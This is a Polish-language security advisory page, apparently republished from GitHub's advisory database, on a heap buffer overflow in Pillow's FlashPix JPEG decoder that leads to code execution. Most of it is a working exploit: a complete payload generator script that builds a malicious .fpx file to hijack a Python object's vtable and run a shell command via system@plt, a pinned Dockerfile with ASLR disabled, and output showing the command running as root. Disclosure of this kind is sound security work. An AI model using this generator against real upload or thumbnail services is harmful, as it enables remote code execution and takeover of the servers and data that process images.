Pillow: Przepełnienie bufora na stercie w dekodowaniu JPEG FlashPix (FPX) prowadzi do wykonania kodu
Komunikat źródłowy zmienił się od przygotowania tego objaśnienia. Sprawdź aktualne dane techniczne i oryginalny komunikat poniżej.
Podziękowania
Badacz: Alex Bouffard (mixbo@pebwalker.com)
Podsumowanie
Przepełnienie bufora na stercie w dekoderze kafelków JPEG FlashPix (FPX) w bibliotece Pillow pozwala atakującemu na wykonanie dowolnego kodu poprzez skłonienie aplikacji do otwarcia pojedynczego spreparowanego pliku za pomocą Image.open(). Plik jest rozpoznawany na podstawie zawartości (nagłówka OLE2), a nie rozszerzenia, dzięki czemu każda usługa otwierająca lub tworząca miniatury niezaufanych przesyłanych plików z zainstalowaną opcjonalną zależnością olefile jest podatna na atak bez udziału użytkownika. W poniższym dowodzie koncepcji (PoC) otwarcie spreparowanego pliku powoduje wykonanie wybranego przez atakującego polecenia w standardowej wersji Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).
Szczegóły
FpxImagePlugin dekoduje pliki FlashPix (FPX), które są dokumentami złożonymi OLE2/CFBF.
Image.open() wykrywa je automatycznie na podstawie nagłówka OLE2 D0CF11E0..., ilekroć zainstalowany jest opcjonalny pakiet olefile (udokumentowana zależność Pillow dla obsługi FPX/MIC), bez względu na rozszerzenie pliku.
W przypadku podobrazu skompresowanego algorytmem JPEG (compression == 2) wtyczka tworzy kafelek dekodowania "jpeg" i wyprowadza parę (rawmode, jpegmode) z kontrolowanych przez atakującego identyfikatorów kolorów FPX za pośrednictwem tabeli MODES (src/PIL/FpxImagePlugin.py L25-L32):
MODES = {
...
(0x00018000, 0x00017FFE): ("RGBA", "LA"), # rawmode "LA" (2 bytes/pixel)
...
(0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"), # rawmode "YCC;P"
}
Bufor wyjściowy Imaging dla kafelka ma rozmiar dopasowany do trybu rawmode (tutaj "LA" = 2 bajtów/piksel) (src/decode.c L223-L226):
state->bytes = (state->bits * state->xsize + 7) / 8; // "LA" gives 2 * xsize bytes/row
...
state->buffer = (UINT8 *)calloc(1, state->bytes);
W JpegDecode.c ciąg rawmode jest mapowany na out_color_space z biblioteki libjpeg. Rozpoznane tryby (CMYK, YCbCr, YCbCrK itd.) otrzymują konkretną przestrzeń barw, lecz "LA" oraz "YCC;P" nie są rozpoznawane, w związku z czym wykonanie trafia do gałęzi domyślnej (src/libImaging/JpegDecode.c L219-L221):
/* Disable decoder conversions. */
context->cinfo.jpeg_color_space = JCS_UNKNOWN;
context->cinfo.out_color_space = JCS_UNKNOWN;
W trybie JCS_UNKNOWN biblioteka libjpeg nie wykonuje konwersji kolorów i generuje cinfo.num_components bajtów na piksel, pobieranych ze znacznika SOF osadzonego pliku JPEG, który atakujący ustawia na 4. W rezultacie jpeg_read_scanlines zapisuje 4 * width bajtów na wiersz do bufora przydzielonego dla zaledwie 2 * width bajtów (src/libImaging/JpegDecode.c L252):
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1); // writes 4*W into a 2*W buffer
Jest to zapis poza granicami bufora na stercie o długości kontrolowanej przez atakującego (szerokość obrazu, sięgająca dziesiątek tysięcy pikseli, co daje około 2 * width bajtów przepełnienia na wiersz) i kontrolowanej przez niego zawartości (zdekodowane dane pikseli). PoC wykorzystuje to zjawisko: przepełnienie nadpisuje pole ob_type sąsiedniego obiektu Pythona bytes wskaźnikiem do fałszywej tablicy vtable PyTypeObject / PyBufferProcs, którą to samo przepełnienie umieszcza wewnątrz bufora dekodowania. Kiedy Pillow zwalnia bufor wejściowy, PyBuffer_Release przechodzi przez ob_type -> tp_as_buffer -> bf_releasebuffer i wykonuje call *rax; PoC kieruje to wywołanie na system@plt (stały adres, binarium interpretera nie korzysta z PIE) z rdi ustawionym na ciąg polecenia, co prowadzi do wykonania polecenia.
PoC
Aby umożliwić dokładne odtworzenie podatności na maszynie x86_64, niniejszy PoC korzysta ze wskazanego wersją obrazu Dockera z wyłączonym ASLR opisanego w Załączniku A.
Kod źródłowy narzędzia do generowania ładunku make_payload.py znajduje się w Załączniku B.
vulnerable.py to program testowy, jednolinijkowy skrypt otwierający przekazany mu plik:
#!/usr/bin/env python3
# The entire vulnerable operation an application performs on an untrusted file.
import sys
from PIL import Image
Image.open(sys.argv[1]).load()
Ładunek to samodzielny plik .fpx, który atakujący tworzy na własnej maszynie; cel jedynie otwiera powstały plik, więc jego przygotowanie nie wymaga dostępu do celu ani możliwości wykonywania na nim kodu. Uruchamiamy make_payload.py wewnątrz tego samego kontenera wyłącznie dla wygody, aby wbudowane na stałe adresy (--offset, system@plt) pasowały do wskazanego obrazu. Ładunek przekierowuje przejęte wywołanie pośrednie na system@plt (0x4206c0, stały adres, ponieważ binarium interpretera nie jest PIE) z wbudowanym poleceniem:
$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx
[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0
[control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id'
Następnie otwórz go za pomocą vulnerable.py:
$ python3 vulnerable.py shell.fpx
uid=0(root) gid=0(root) groups=0(root)
corrupted size vs. prev_size
Image.open() spreparowanego pliku wykonuje wbudowane polecenie poprzez system("id"): wykonanie polecenia z uprawnieniami użytkownika przetwarzającego obraz (root w kontenerze).
Końcowy komunikat corrupted size vs. prev_size oznacza przerwanie działania przez glibc podczas zamykania interpretera z powodu uszkodzonej sterty, już po wykonaniu id.
Generator zapisuje polecenie inline w przejętym rdi, dlatego --cmd jest ograniczone do 7 bajtów (na przykład id, id;w). Wartości --offset i system@plt są stałymi dla wskazanego obrazu z wyłączonym ASLR i pozostają niezmienne pomiędzy jego uruchomieniami.
Wpływ
Podatność ta jest przepełnieniem bufora na stercie (CWE-122) / zapisem poza granicami bufora (CWE-787), które prowadzi do wykonania kodu. Dotknięta jest każda aplikacja lub usługa, która otwiera pliki pochodzące od atakującego za pomocą biblioteki Pillow i ma zainstalowaną opcjonalną zależność olefile: serwisy przesyłania i tworzenia miniatur obrazów, przetwarzanie awatarów i multimediów, potoki konwersji dokumentów oraz obrazów i podobne. Ponieważ wykrywanie odbywa się na podstawie nagłówka OLE2, a nie rozszerzenia pliku, a przepełnienie jest wyzwalane podczas standardowego wywołania Image.open() / load, serwer automatycznie przetwarzający przesłany plik może zostać skompromitowany bez żadnej interakcji ze strony użytkownika. Skutkiem jest wykonanie dowolnego polecenia w kontekście procesu przetwarzającego obraz, co prowadzi do pełnego przejęcia tego procesu oraz posiadanych przez niego danych i uprawnień.
Załącznik A: Konfiguracja Dockera
PoC działa w określonym wersją obrazie Dockera, co zapewnia deterministyczne środowisko; obraz instaluje wskazaną wersję Pythona (3.12.3) oraz pakiet wheel Pillow 12.2.0, a generator korzysta wyłącznie z Pillow. Punkt wejścia obrazu wyłącza ASLR (setarch -R), aby zmniejszyć wymagania dotyczące znajomości systemu. Pojedyncza flaga --security-opt seccomp=unconfined przy docker run jest wymagana wyłącznie dlatego, że wyłączenie ASLR używa wywołania systemowego personality(), które domyślny profil seccomp Dockera blokuje. Uruchamiaj wyłącznie na własnej infrastrukturze.
1. Zbuduj obraz. Umieść vulnerable.py (PoC) oraz make_payload.py
(Załącznik B) w katalogu z następującym plikiem Dockerfile:
FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates \
python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \
&& rm -rf /var/lib/apt/lists/*
RUN python3.12 -m venv /opt/v \
&& /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47"
ENV PATH=/opt/v/bin:$PATH
WORKDIR /poc
# ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.
ENTRYPOINT ["setarch", "-R"]
CMD ["bash"]
$ docker build -t fjpeg1-poc .
...
Downloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)
Successfully installed Pillow-12.2.0 olefile-0.47
Successfully built 370344c832b6
Successfully tagged fjpeg1-poc:latest
2. Uruchom powłokę kontenera (z wyłączonym ASLR) z zamontowanymi skryptami:
docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc
Załącznik B: Kod źródłowy generatora ładunku
make_payload.py:
#!/usr/bin/env python3
"""F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).
Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCS_UNKNOWN
path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type.
--crash flood an adjacent ob_type with 0x42.. -> SIGSEGV in PyBuffer_Release
(default) CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call *--target
Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help."""
import sys, io, struct, math, argparse
from PIL import Image
W, H = 65000, 2
SECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748
FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF
FPX_CLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B")
o32 = lambda v: struct.pack("<I", v)
p64 = lambda v: struct.pack("<Q", v)
INV = bytes(255 - i for i in range(256)) # 8-bit inversion table
def jpeg(src):
b = io.BytesIO()
Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0)
return b.getvalue()
def decode_row(jpg):
# Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits
# the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R
# (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The
# last decoded row is the one that lands in (and overflows past) the buffer.
px = Image.open(io.BytesIO(jpg)).tobytes()
return px[(H - 1) * W * 4:].translate(INV)
def craft(targets, iters=40): # decode-feedback exact write (JPEG is lossy -> iterate to converge)
# base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern
# that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).
src = bytearray(b"\xbd" * (W * H * 4)); base = (H - 1) * W * 4; it = 0
for off, t in targets:
for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v
for it in range(iters):
dec = decode_row(jpeg(src)); bad = 0
for off, t in targets:
for i, v in enumerate(t):
if dec[off + i] != v:
bad += 1
src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))
if not bad: break
return jpeg(src), it, bad
def maxid_for(w, h):
s, i = max(w, h), 1
while s > 64: s //= 2; i += 1
return i - 1
MAXID = maxid_for(W, H); RESNAME = "Resolution %04d" % MAXID
def image_contents():
ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b
cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE) # FPX color -> rawmode "LA"
props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))]
voff = 8 + 8 * len(props); idx = vals = b""
for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)
body = o32(len(props)) + idx + vals
return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" * 16 + o32(1) + b"\x00" * 16
+ o32(48) + o32(len(body) + 4) + body)
def subimage_header():
b = bytearray(80)
for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),
(56, 36), (60, 16), (64, 0), (72, 2)]:
struct.pack_into("<I", b, o, v)
return bytes(b)
def build_fpx(jpg, out):
data = b"\x00" * 28 + jpg
assert len(data) <= DATA_PAD, (len(data), DATA_PAD)
pad = lambda x: x + b"\x00" * ((-len(x)) % SECT)
sd = {"ic": pad(image_contents().ljust(4096, b"\x00")),
"hdr": pad(subimage_header().ljust(4096, b"\x00")),
"dat": pad(data.ljust(DATA_PAD, b"\x00"))}
ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"]
dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)
fsec = 1
while fsec * 128 < fsec + content: fsec += 1
pos = {}; cur = fsec; dstart = cur; cur += dsec
for k in order: pos[k] = cur; cur += ns(sd[k])
total = cur
fat = [FREESECT] * (fsec * 128)
for s in range(fsec): fat[s] = FATSECT
def chain(a, n):
for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN
chain(dstart, dsec)
for k in order: chain(pos[k], ns(sd[k]))
def de(nm, t, ch, l, r, st, sz, cl=b"\x00" * 16):
n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64]
return (n + struct.pack("<HBB", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)
+ o32(ch) + cl + o32(0) + b"\x00" * 16 + o32(st) + struct.pack("<Q", sz))
directory = pad(b"".join([
de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),
de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])),
de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])),
de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))]))
h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1")
for o, fmt, *v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec),
(48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFCHAIN), (68, "<I", ENDOFCHAIN)]:
struct.pack_into(fmt, h, o, *v)
for i in range(109): struct.pack_into("<I", h, 76 + i * 4, i if i < fsec else FREESECT)
secs = [b""] * total
for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s * 128:(s + 1) * 128])
for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]
for k in order:
for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]
open(out, "wb").write(bytes(h) + b"".join(secs))
def xhex(s): return int(s, 16)
SYSTEM_PLT = 0x4206c0 # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)
def main():
ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx payload builder (0-ASLR box)")
ap.add_argument("--out", required=True, help="output .fpx path")
ap.add_argument("--crash", action="store_true",
help="crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)")
ap.add_argument("--heap-base", type=xhex, default=0xbaa000,
help="fixed heap base of the 0-ASLR box (default 0xbaa000)")
ap.add_argument("--offset", type=xhex, default=0x21e800,
help="state->buffer - heap_base (default 0x21e800 -> S=0xdc8800)")
ap.add_argument("--target", type=xhex, default=SENTINEL,
help="value called via the hijacked vtable; pass %#x (system@plt) for "
"command execution (default is a sentinel for an RIP-control demo)" % SYSTEM_PLT)
ap.add_argument("--cmd", default="id",
help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)")
a = ap.parse_args()
if a.crash:
# Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD
# to make the decoded overflow bytes 0x42 -> the adjacent ob_type becomes 0x4242424242424242.
build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)
print("[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 "
"-> SIGSEGV in PyBuffer_Release (no addresses)" % a.out)
return
if len(a.cmd.encode()) > 7:
sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before ob_type)")
S = a.heap_base + a.offset
A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000 # spray A = fake type, spray B = TARGET
tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),
(OB_TYPE_OFF - 8, a.cmd.encode() + b"\x00")] # obj+0 -> rdi for system()
tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)] # fake type -> spray B at +0xa0..+8
tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]
jpg, it, bad = craft(tg)
build_fpx(jpg, a.out)
print("[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d"
% (a.out, S, a.target, a.cmd, it, bad))
print("[control] opening it: vtable hijack -> call *%#x with rdi -> %r" % (a.target, a.cmd))
if __name__ == "__main__":
main()
Co trzeba zrobić
Środki zaradcze nie zostały określone.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | pillow | < 13.0.0 | 13.0.0 |
Odnośniki
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h
- https://nvd.nist.gov/vuln/detail/CVE-2026-112398
- https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Słabość (CWE)
CWE-122, CWE-787- Platforma
- Python (PyPI)
- Paczka
pillow- Ujawniono
- 19.10.2026
- Aktualizacja
- 28.10.2026 13:17
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-5x8w-8jj5-q52h - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-4330 - PyPA Advisory Database; CC BY 4.0
Historia podatności: pillow
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 106
- Pierwsza → ostatnia
- 04.2014 11.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 1
Rozkład istotności
- Krytyczna 14
- Wysoka 63
- Średnia 27
- Niska 1
- Nieoceniona 1
Ujawnienia w latach
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 19
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 49
wcześniej: 12
-
Pillow: Przepełnienie bufora na stercie w dekodowaniu JPEG FlashPix (FPX) prowadzi do wykonania kodu ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.